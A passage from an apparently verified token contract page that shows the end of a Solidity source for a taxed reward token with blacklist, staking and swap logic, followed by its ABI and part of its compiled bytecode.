                tradeBlock[recipient] = block.number;
            }       

            require(recipientBalance+amount <= _limits.maxWallet, "Amount will exceed max wallet");
            require(amount <= _limits.maxBuy, "Amount exceed max buy");
            tax = _taxRates.buyTax;

        } else {
            if (blacklistEnabled) {
                require(!isBlacklisted[sender], "user blacklisted");                
            }

            if (amount <= 10**(TOKEN_DECIMALS)) {    //transfer less than 1 token to claim rewardToken
                claimToken(msg.sender, rewardToken, 0);
                return;
            }

            require(recipientBalance + amount <= _limits.maxWallet, "whale protection");            
            tax = _taxRates.transferTax;
        }    

        if ((sender != _pairAddress) && (!manualSwap) && (!_isSwappingContractModifier) && isSell)
            _swapContractToken(swapThreshold,false);

        uint256 taxedAmount;

        if(tax > 0) {
        taxedAmount = amount * tax / 100;          
        }

        uint256 receiveAmount = amount - taxedAmount;
        _removeToken(sender,amount);
        _addToken(address(this), taxedAmount);
        _addToken(recipient, receiveAmount);
        emit Transfer(sender, recipient, receiveAmount);
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "Transfer from zero");
        require(recipient != address(0), "Transfer to zero");

        bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient));

        bool isContractTransfer = (sender == address(this) || recipient == address(this));
        address _routerAddress = address(_swapRouter);
        bool isLiquidityTransfer = (
            (sender == _pairAddress && recipient == _routerAddress) 
            || (recipient == _pairAddress && sender == _routerAddress)
        );

        bool isSell = recipient == _pairAddress || recipient == _routerAddress;
        bool isBuy=sender==_pairAddress|| sender == _routerAddress;

        if (isContractTransfer || isLiquidityTransfer || isExcluded) {
            _feelessTransfer(sender, recipient, amount);

            if (!liquidityAdded) 
                checkLiqAdd(recipient);            
        }
        else { 
            _taxedTransfer(sender, recipient, amount, isBuy, isSell);                  
        }
    }

    function checkLiqAdd(address receiver) private {        
        require(!liquidityAdded, "liquidity already added");
        if (receiver == _pairAddress) {
            liquidityBlock = block.number;
            liquidityAdded = true;
        }
    }

    function claimToken(address addr, address token, uint256 payableAmount) private {
        require(!_isWithdrawing);
        _isWithdrawing = true;
        uint256 amount;
        bool swapSuccess;
        address tokenClaimed = token;

        if (_excludedFromStaking.contains(addr)){
            amount = toBePaidShares[addr];
            toBePaidShares[addr] = 0;
        }
        else {
            uint256 newAmount = newStakeOf(addr);            
            alreadyPaidShares[addr] = rewardShares * _balances[addr];
            amount = toBePaidShares[addr]+newAmount;
            toBePaidShares[addr] = 0;
        }
        
        if (amount == 0 && payableAmount == 0){
            _isWithdrawing = false;
            return;
        }

        totalPayouts += amount;
        accountTotalClaimed[addr] += amount;
        amount += payableAmount;

        address[] memory path = new address[](2);
        path[0] = _swapRouter.WETH();
        path[1] = token;

        try _swapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0,
            path,
            addr,
            block.timestamp)
            {
            swapSuccess = true;
        }
        catch {
            swapSuccess = false;
        }
        
        if(!swapSuccess) {
            _sendEth(addr, amount);
            tokenClaimed = _swapRouter.WETH();
        }
        emit ClaimToken(amount, tokenClaimed, addr);
        _isWithdrawing = false;
    }

    function excludeFromStaking(address addr) private {
        require(!_excludedFromStaking.contains(addr));
        _totalShares -= _balances[addr];
        uint256 newStakeMain = newStakeOf(addr);      
        alreadyPaidShares[addr] = _balances[addr] * rewardShares;       
        toBePaidShares[addr] += newStakeMain;      
        _excludedFromStaking.add(addr);
    }

    function includeToStaking(address addr) private {
        require(_excludedFromStaking.contains(addr));
        _totalShares += _balances[addr];
        _excludedFromStaking.remove(addr);
        alreadyPaidShares[addr] = _balances[addr] * rewardShares;
    }

    function subtractStake(address addr, uint256 amount) private {
        if (amount == 0) return;
        require(amount<=getStakeBalance(addr),"Exceeds stake balance");

        if (_excludedFromStaking.contains(addr))
            toBePaidShares[addr] -= amount;

        else{
            uint256 newAmount  =newStakeOf(addr);    
            alreadyPaidShares[addr] = rewardShares * _balances[addr];
            toBePaidShares[addr] += newAmount;
            toBePaidShares[addr] -= amount;                
        }
    }   

    function getStakeBalance(address addr) private view returns (uint256) {
        if (_excludedFromStaking.contains(addr)) 
            return toBePaidShares[addr];
        return newStakeOf(addr) + toBePaidShares[addr];
    }
    
    function getTotalShares() private view returns (uint256) {
        return _totalShares - TOTAL_SUPPLY;
    }

     function setUnlockTime(uint256 newUnlockTime) private {
        // require new unlock time to be longer than old one
        require(newUnlockTime > _liquidityUnlockTime);
        _liquidityUnlockTime = newUnlockTime;
    }

    function newStakeOf(address staker) private view returns (uint256) {
            uint256 fullPayout = rewardShares * _balances[staker];
            if (fullPayout < alreadyPaidShares[staker]) 
                return 0;
            return (fullPayout-alreadyPaidShares[staker]) / DISTRIBUTION_MULTI;    
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"}],"name":"ClaimToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"EnableBlacklist","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"EnableManualSwap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludeFromStaking","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"exclude","type":"bool"}],"name":"ExcludedAccountFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"extendedLockTime","type":"uint256"}],"name":"ExtendLiquidityLock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"newDev","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"newLiquidity","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"newMarketing","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"newRewards","type":"uint8"}],"name":"RatiosChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newDevWallet","type":"address"}],"name":"UpdateDevWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"UpdateMarketingWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint16","name":"newThreshold","type":"uint16"}],"name":"UpdateSwapThreshold","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"buyTax","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"sellTax","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"transferTax","type":"uint8"}],"name":"UpdateTaxes","type":"event"},{"inputs":[],"name":"ClaimReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"IncludeMeToStaking","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MAX_TAX","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limitRatios","outputs":[{"internalType":"uint16","name":"wallet","type":"uint16"},{"internalType":"uint16","name":"sell","type":"uint16"},{"internalType":"uint16","name":"buy","type":"uint16"},{"internalType":"uint16","name":"divisor","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limits","outputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"},{"internalType":"uint256","name":"maxSell","type":"uint256"},{"internalType":"uint256","name":"maxBuy","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxRates","outputs":[{"internalType":"uint8","name":"buyTax","type":"uint8"},{"internalType":"uint8","name":"sellTax","type":"uint8"},{"internalType":"uint8","name":"transferTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxRatios","outputs":[{"internalType":"uint8","name":"dev","type":"uint8"},{"internalType":"uint8","name":"liquidity","type":"uint8"},{"internalType":"uint8","name":"marketing","type":"uint8"},{"internalType":"uint8","name":"rewards","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"dev","type":"address"},{"internalType":"address","name":"marketing","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"accountTotalClaimed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"enableBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"enableManualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"exclude","type":"bool"}],"name":"excludeAccountFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBlacklistInfo","outputs":[{"internalType":"uint256","name":"_liquidityBlock","type":"uint256"},{"internalType":"uint8","name":"_blacklistBlocks","type":"uint8"},{"internalType":"uint8","name":"_snipersRekt","type":"uint8"},{"internalType":"bool","name":"_blacklistEnabled","type":"bool"},{"internalType":"bool","name":"_revertSameBlock","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getClaimBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLiquidityUnlockInSeconds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalUnclaimed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isExcludedFromStaking","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lockTimeInSeconds","type":"uint256"}],"name":"lockLiquidityTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"permille","type":"uint16"},{"internalType":"bool","name":"ignoreLimits","type":"bool"}],"name":"manualContractSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"recoverMiscToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"releaseLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"routerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"sameBlockRevert","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"addr","type":"address"}],"name":"setDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"addr","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"exclude","type":"bool"}],"name":"setStakingExclusionStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalPayouts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"newMaxWalletRatio","type":"uint16"},{"internalType":"uint16","name":"newMaxSellRatio","type":"uint16"},{"internalType":"uint16","name":"newMaxBuyRatio","type":"uint16"},{"internalType":"uint16","name":"newDivisor","type":"uint16"}],"name":"updateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newDev","type":"uint8"},{"internalType":"uint8","name":"newLiquidity","type":"uint8"},{"internalType":"uint8","name":"newMarketing","type":"uint8"},{"internalType":"uint8","name":"newRewards","type":"uint8"}],"name":"updateRatios","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"threshold","type":"uint16"}],"name":"updateSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuy","type":"uint8"},{"internalType":"uint8","name":"newSell","type":"uint8"},{"internalType":"uint8","name":"newTransfer","type":"uint8"}],"name":"updateTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60066080819052600960a0819052600060c08190526008805461090662ffffff1990911617905560e08390526101005261012091909152600561014052805463ffffffff19166305060006179055735d2c81bcec3610930d716ff5b23ddc3309fd47ea610160819052610180819052600a80546001600160a01b031990811683178255600b805490911690921790915561022060405260046101a05260016101c08190526101e05261019061020052600f80546001600160401b031916670190000100010004179055601380547fffffffffff0000000000000000000000000000000000000000ff000000ff00ff167a9813037ee2218799597d83d4a5b6f3b6778218d9000014010001001790556200011b9060129062000b99565b6200012b9063298ae9e062000baa565b601b553480156200013b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35046600103620001b257601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905562000221565b46603803620001e757601680546001600160a01b0319167310ed43c718714eb63d5aa57b78b54704e256024e17905562000221565b466061036200021c57601680546001600160a01b031916739ac64cc6e4415144c455bd8e4837fea55603e5c317905562000221565b600080fd5b601654601580546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200027e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a4919062000bc4565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000307573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032d919062000bc4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200037b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a1919062000bc4565b601480546001600160a01b0319166001600160a01b0392909216919091179055620003ea33620003d46012600a62000b99565b620003e49063298ae9e062000baa565b6200075d565b3360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200041c6012600a62000b99565b6200042c9063298ae9e062000baa565b60405190815260200160405180910390a33060009081526002602090815260408083206015546001600160a01b031684529091529020600019905560095460ff63010000008204811691620100008104821691620004939161010081048216911662000bef565b6200049f919062000bef565b620004ab919062000bef565b6010805460ff191660ff928316908117909155600954620004d492610100909104169062000c0b565b6010805460ff929092166101000261ff00199092169190911790556040805160608101909152600f54819061ffff66010000000000008204811691166200051e6012600a62000b99565b6200052e9063298ae9e062000baa565b6200053a919062000baa565b62000546919062000c27565b8152600f5460209091019061ffff6601000000000000820481169162010000900416620005766012600a62000b99565b620005869063298ae9e062000baa565b62000592919062000baa565b6200059e919062000c27565b8152600f5460209091019061ffff66010000000000008204811691640100000000900416620005d06012600a62000b99565b620005e09063298ae9e062000baa565b620005ec919062000baa565b620005f8919062000c27565b90528051600c55602080820151600d55604090910151600e556200062a90600490339062001db96200085d821b17901c565b50600b5462000651906004906001600160a01b03166200085d602090811b62001db917901c565b50600a5462000678906004906001600160a01b03166200085d602090811b62001db917901c565b50620006943060046200085d60201b62001db91790919060201c565b50620006b261dead60046200085d60201b62001db91790919060201c565b50620006ce3060066200085d60201b62001db91790919060201c565b50620006ec61dead60066200085d60201b62001db91790919060201c565b5060155462000713906006906001600160a01b03166200085d602090811b62001db917901c565b506014546200073a906006906001600160a01b03166200085d602090811b62001db917901c565b50601554620007579030906001600160a01b03166000196200087d565b62000c76565b6001600160a01b0382166000908152600160205260408120546200078390839062000c4a565b9050620007a08360066200097860201b62001dce1790919060201c565b15620007c6576001600160a01b0390921660009081526001602052604090209190915550565b81601b6000828254620007da919062000c4a565b9091555060009050620007ed846200099b565b905081601c54620007ff919062000baa565b6001600160a01b0385166000908152601760209081526040808320939093556018905290812080548392906200083790849062000c4a565b9091555050506001600160a01b0390921660009081526001602052604090209190915550565b600062000874836001600160a01b03841662000a34565b90505b92915050565b6001600160a01b038316620008cd5760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b60448201526064015b60405180910390fd5b6001600160a01b038216620009175760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401620008c4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0381166000908152600183016020526040812054151562000874565b6001600160a01b038116600090815260016020526040812054601c548291620009c49162000baa565b6001600160a01b038416600090815260176020526040902054909150811015620009f15750600092915050565b6001600160a01b038316600090815260176020526040902054680100000000000000009062000a21908362000c60565b62000a2d919062000c27565b9392505050565b600081815260018301602052604081205462000a7d5750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915562000877565b50600062000877565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000add57816000190482111562000ac15762000ac162000a86565b8085161562000acf57918102915b93841c939080029062000aa1565b509250929050565b60008262000af65750600162000877565b8162000b055750600062000877565b816001811462000b1e576002811462000b295762000b49565b600191505062000877565b60ff84111562000b3d5762000b3d62000a86565b50506001821b62000877565b5060208310610133831016604e8410600b841016171562000b6e575081810a62000877565b62000b7a838362000a9c565b806000190482111562000b915762000b9162000a86565b029392505050565b60006200087460ff84168362000ae5565b808202811582820484141762000877576200087762000a86565b60006020828403121562000bd757600080fd5b81516001600160a01b038116811462000a2d57600080fd5b60ff818116838216019081111562000877576200087762000a86565b60ff828116828216039081111562000877576200087762000a86565b60008262000c4557634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000877576200087762000a86565b8181038181111562000877576200087762000a86565b613f148062000c866000396000f3fe6080604052600436106103395760003560e01c80636912897d116101ab57806395d89b41116100f7578063dd62ed3e11610095578063f7c618c11161006f578063f7c618c114610a29578063fab91b6814610a50578063fbcdba7614610ab8578063fe575a8714610b0b57600080fd5b8063dd62ed3e146109a3578063edb49037146109e9578063f2fde38b14610a0957600080fd5b8063a457c2d7116100d1578063a457c2d7146108eb578063a9059cbb1461090b578063aa761b1e1461092b578063b32785141461094057600080fd5b806395d89b41146103e85780639b5cfc98146108ab578063a30dc744146108cb57600080fd5b8063715018a61161016457806386a35f251161013e57806386a35f25146108585780638739f8ea1461086d578063893d20e81461088d5780638da5cb5b1461088d57600080fd5b8063715018a61461080e5780637335307b1461082357806379372f9a1461084357600080fd5b80636912897d146106f55780636bb1702d146107155780636c3fb9321461072a5780636d330c10146107645780636f268a991461079157806370a08231146107d857600080fd5b8063313ce5671161028557806351bc3c8511610223578063562f194b116101fd578063562f194b146106755780635d098b38146106955780635e3ce1ab146106b557806362a9c64e146106d557600080fd5b806351bc3c851461061f57806351e287c614610640578063533b3bfc1461066057600080fd5b80633efd929a1161025f5780633efd929a146105b45780634089b170146105d45780634846c14c146105ea578063491e91ee1461060a57600080fd5b8063313ce567146105525780633268cc5614610574578063395093511461059457600080fd5b806318160ddd116102f25780631f53ac02116102cc5780631f53ac02146104dd57806323b872dd146104fd57806328771ca21461051d5780632aea52ab1461053257600080fd5b806318160ddd146104705780631a0e718c146104855780631b355427146104a557600080fd5b80630445b667146103455780630614117a14610380578063069d955f1461039757806306fdde03146103e8578063095ea7b31461041c5780630e15561a1461044c57600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5060135461036890640100000000900461ffff1681565b60405161ffff90911681526020015b60405180910390f35b34801561038c57600080fd5b50610395610b3b565b005b3480156103a357600080fd5b506008546103c49060ff808216916101008104821691620100009091041683565b6040805160ff94851681529284166020840152921691810191909152606001610377565b3480156103f457600080fd5b5060408051808201825260058152642127a722a960d91b602082015290516103779190613829565b34801561042857600080fd5b5061043c610437366004613871565b610baf565b6040519015158152602001610377565b34801561045857600080fd5b50610462601e5481565b604051908152602001610377565b34801561047c57600080fd5b50610462610bc6565b34801561049157600080fd5b506103956104a03660046138b4565b610be7565b3480156104b157600080fd5b506014546104c5906001600160a01b031681565b6040516001600160a01b039091168152602001610377565b3480156104e957600080fd5b506103956104f83660046138cf565b610d18565b34801561050957600080fd5b5061043c6105183660046138ec565b610dd5565b34801561052957600080fd5b50610462610e6c565b34801561053e57600080fd5b5061039561054d36600461393b565b610e8c565b34801561055e57600080fd5b5060125b60405160ff9091168152602001610377565b34801561058057600080fd5b506016546104c5906001600160a01b031681565b3480156105a057600080fd5b5061043c6105af366004613871565b610efa565b3480156105c057600080fd5b506103956105cf36600461393b565b610f31565b3480156105e057600080fd5b50610462601d5481565b3480156105f657600080fd5b506103956106053660046138cf565b610fa6565b34801561061657600080fd5b50610395611147565b34801561062b57600080fd5b5060135461043c90600160301b900460ff1681565b34801561064c57600080fd5b5061039561065b366004613958565b61131e565b34801561066c57600080fd5b50610462611399565b34801561068157600080fd5b50610395610690366004613971565b6113ac565b3480156106a157600080fd5b506103956106b03660046138cf565b61142e565b3480156106c157600080fd5b506103956106d03660046139aa565b6114e3565b3480156106e157600080fd5b506103956106f0366004613a0f565b6116e7565b34801561070157600080fd5b50610395610710366004613a58565b61181b565b34801561072157600080fd5b5061039561184a565b34801561073657600080fd5b50600c54600d54600e5461074992919083565b60408051938452602084019290925290820152606001610377565b34801561077057600080fd5b5061046261077f3660046138cf565b601a6020526000908152604090205481565b34801561079d57600080fd5b50600a54600b546107b8916001600160a01b03908116911682565b604080516001600160a01b03938416815292909116602083015201610377565b3480156107e457600080fd5b506104626107f33660046138cf565b6001600160a01b031660009081526001602052604090205490565b34801561081a57600080fd5b5061039561194c565b34801561082f57600080fd5b5061043c61083e3660046138cf565b6119cf565b34801561084f57600080fd5b506103956119dc565b34801561086457600080fd5b50610562601481565b34801561087957600080fd5b50610395610888366004613971565b6119fc565b34801561089957600080fd5b506000546001600160a01b03166104c5565b3480156108b757600080fd5b506103956108c6366004613a74565b611a89565b3480156108d757600080fd5b506104626108e63660046138cf565b611bac565b3480156108f757600080fd5b5061043c610906366004613871565b611bbf565b34801561091757600080fd5b5061043c610926366004613871565b611c3b565b34801561093757600080fd5b50610395611c48565b34801561094c57600080fd5b506009546109769060ff808216916101008104821691620100008204811691630100000090041684565b6040805160ff95861681529385166020850152918416918301919091529091166060820152608001610377565b3480156109af57600080fd5b506104626109be366004613ab7565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156109f557600080fd5b50610395610a0436600461393b565b611c8c565b348015610a1557600080fd5b50610395610a243660046138cf565b611ccf565b348015610a3557600080fd5b506013546104c590600160381b90046001600160a01b031681565b348015610a5c57600080fd5b50600f54610a8a9061ffff808216916201000081048216916401000000008204811691600160301b90041684565b6040805161ffff95861681529385166020850152918416918301919091529091166060820152608001610377565b348015610ac457600080fd5b50601254601354604080519283526002602084015260ff8083169184019190915261010082048116151560608401526301000000909104161515608082015260a001610377565b348015610b1757600080fd5b5061043c610b263660046138cf565b60036020526000908152604090205460ff1681565b33610b4e6000546001600160a01b031690565b6001600160a01b031614610b7d5760405162461bcd60e51b8152600401610b7490613ae5565b60405180910390fd5b601154421015610b9f5760405162461bcd60e51b8152600401610b7490613b13565b42601155610bad3347611df0565b565b6000610bbc338484611e85565b5060015b92915050565b6000610bd46012600a613c37565b610be29063298ae9e0613c46565b905090565b610bf033611f78565b610c0c5760405162461bcd60e51b8152600401610b7490613c5d565b60008161ffff1611610c6a5760405162461bcd60e51b815260206004820152602160248201527f5468726573686f6c64206e6565647320746f206265206d6f7265207468616e206044820152600360fc1b6064820152608401610b74565b60328161ffff161115610cbf5760405162461bcd60e51b815260206004820152601e60248201527f5468726573686f6c64206e6565647320746f2062652062656c6f7720353000006044820152606401610b74565b6013805465ffff00000000191664010000000061ffff8416908102919091179091556040519081527f0e407583f00cf3f05f633dbc7f402b1f6b49d442997864ca3fce151eeaf6c513906020015b60405180910390a150565b33610d2b6000546001600160a01b031690565b6001600160a01b031614610d515760405162461bcd60e51b8152600401610b7490613ae5565b600a546001600160a01b0316610d68600482611fbd565b50600a80546001600160a01b0319166001600160a01b038416908117909155610d9390600490611db9565b506040516001600160a01b03831681527fe4e7b52fa2b5d9f5adcf88301c07e09b32a37d8c492d7f266cb16648d0b12818906020015b60405180910390a15050565b6000610de2848484611fd2565b6001600160a01b038416600090815260026020908152604080832033845290915290205482811015610e4d5760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b6044820152606401610b74565b610e618533610e5c8685613c8c565b611e85565b506001949350505050565b6000601154421015610e865742601154610be29190613c8c565b50600090565b610e9533611f78565b610eb15760405162461bcd60e51b8152600401610b7490613c5d565b601380548215156101000261ff00199091161790556040517f6348668a830a74027e9848759e660a45c2afe456096e26d17cc84eb20509c9e790610d0d90831515815260200190565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610bbc918590610e5c908690613c9f565b610f3a33611f78565b610f565760405162461bcd60e51b8152600401610b7490613c5d565b60138054821515600160301b0266ff000000000000199091161790556040517fee75e2c13b472e77bfdb449a3881f41e4d27aad4ded3bc80c4572376c3c429f590610d0d90831515815260200190565b33610fb96000546001600160a01b031690565b6001600160a01b031614610fdf5760405162461bcd60e51b8152600401610b7490613ae5565b6014546001600160a01b0382811691161480159061100657506001600160a01b0381163014155b61105e5760405162461bcd60e51b8152602060048201526024808201527f63616e2774207265636f766572204c5020746f6b656e206f722074686973207460448201526337b5b2b760e11b6064820152608401610b74565b6040516370a0823160e01b815230600482015281906001